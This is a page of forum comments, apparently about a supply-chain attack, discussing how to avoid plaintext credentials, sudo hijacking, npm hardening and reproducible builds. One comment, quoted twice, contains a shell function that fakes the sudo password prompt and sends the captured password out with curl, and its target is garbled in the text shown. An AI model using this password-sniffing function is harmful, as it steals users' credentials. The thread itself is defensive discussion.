341–350 of 501 posts
What do folks here do to avoid having plaintext credentials on disk? I try to use 1Password's plugins where I can. I find the SSH key (and got signing) experience flawless, but the cli experience (eg aws cli) pretty clunky - they often break, and they don't even have a gcp plugin last I checked.
Earlier quoted context omitted.
Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }
> Sudo is security theater. Yes indeed. > Malware can make a fake unprivileged sudo that sniffs your password. Not on my Linux workstation though. No sudo command installed. Not a single setuid binary. Not even su . So basically only root can use su and nobody else. Only way to log in at root is either by going to tty2 (but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so…
Interesting days.
Episode #900
Earlier quoted context omitted.
Why not make a proper link /sudo so you don't have to type out the full path every time, which is very inconvenient? (but the fact that such workarounds are needed still means it's a theater)
Anything that can be modified by an attacker can not be used to secure the sudo command. This is a recursive requirementor hierarchy for secure systems.
So how many supply chain attacks do we need to actually change things? Feels like I read about new supply chain attacks every day at this point.
Earlier quoted context omitted.
Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }
Use /usr/bin/sudo yourcommand with any intermediate command not using path but it's real path hard coded. Edited: Previous suggested using \sudo but it depends of the variable path which can be modified by the attacker.
Earlier quoted context omitted.
[On Linux:] If you didn't give yourself "free" (passwordless) sudo, that's not necessary… …unless it happened in a week with 2 and a half Linux kernel LPEs.
Until it overrides sudo in your $PATH to install malware after you enter your password later.
That's why Flatpaks sandbox doesn't exist if the application has access to the home folder.
Reminder to secure your npm environments. https://gajus.com/blog/3-pnpm-settings-to-protect-yourself-f... Just a handful of settings to save a whole lot of trouble.
It is unfortunate, but this is evidence (IMO) that Trusted Publishing is still ~~not secure~~ not enough by itself to securely publish from CI, as an attacker inside your CI pipeline or with stolen repo admin creds can easily publish. This isnt new information, TP is not meant to guarantee against this, but migrating to TP away from local publish w/ 2fa introduces this class of attack via compomise of CI. (edit: chan…
Bitcoin people solved problem a decade ago with deterministic build: Bitcoin core is considered publisher when 5+ devs get bit-exact build artifact, each individually signing a hash. Replicating that model isn't hard, it's just that nobody cares. People just want to trust the cloud because it's big